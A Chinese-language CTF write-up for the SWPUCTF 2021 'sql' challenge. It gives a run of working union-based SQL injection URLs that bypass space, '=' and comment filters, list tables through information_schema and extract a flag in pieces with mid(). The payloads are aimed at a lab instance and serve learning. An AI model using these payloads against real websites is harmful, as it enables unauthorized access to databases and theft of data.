[SWPUCTF 2021 新生赛]sql的题解
首先进入环境,发现没有什么明显的注入地方,然后查看源码发现了注入的地方。
发现注入的地方后,就先试一下注入类型.
http://1.14.71.254:28419/?wllm=1
回显如图所示
http://1.14.71.254:28419/?wllm=1'
发现有报错显示。这时候可以尝试一下报错注入。先看看有多少个字段。在此过程中发现它过滤了空格,可以用/**/绕过。
http://1.14.71.254:28419/?wllm=1'/**/order/**/by/**/3#
发现还是在报错,逐步排查发现是注释符的问题,换成%23后就可以了。测试出有3个字段。 但是发现updatexml和extractvalue都被过滤掉了,然后就尝试联合注入,构造的payload如下:
http://1.14.71.254:28414/?wllm=1'/**/union/**/select/**/1,2,3%23
但是发现它回显任何一个数字,有点懵了。通过看别人的wp,发现是-1,改成-1后就可以了。至于为什么,文章后面会放出解释。
http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,2,3%23
可以看到2,3显示出来了。
查询库:
http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,database(),3%23
得到库名test_db.
查询表:
发现等号被过滤了,就用like代替,payload如下:
http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
猜测LTLT_flag里面有flag,查询这个表的字段:
http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23
得到了id和flag,查询flag:
http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/LTLT_flag%23
但是发现只显示出来了一部分flag。
尝试了right发现被禁了,而mid()函数是可以用的,
http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,mid(group_concat(flag),1,20),3/**/from/**/LTLT_flag%23
http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,mid(group_concat(flag),21,20),3/**/from/**/LTLT_flag%23
http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,mid(group_concat(flag),41,20),3/**/from/**/LTLT_flag%23
成功获取flag!
为什么是-1的解释
在解释为什么-1可以,而1不可以之前,先看看联合查询,如下图所示:
但是在网站上一般不会显示来自grade_two的id的查询结果,只会返回查询到的第一条数据。这种情况下,我们要怎么获得我们期望的数据呢?可以让联合查询左边的查询语句返回结果为空。就例如本题,将wllm赋值为-1,因为一般情况下是不会有负值的,从而导致查询结果为空。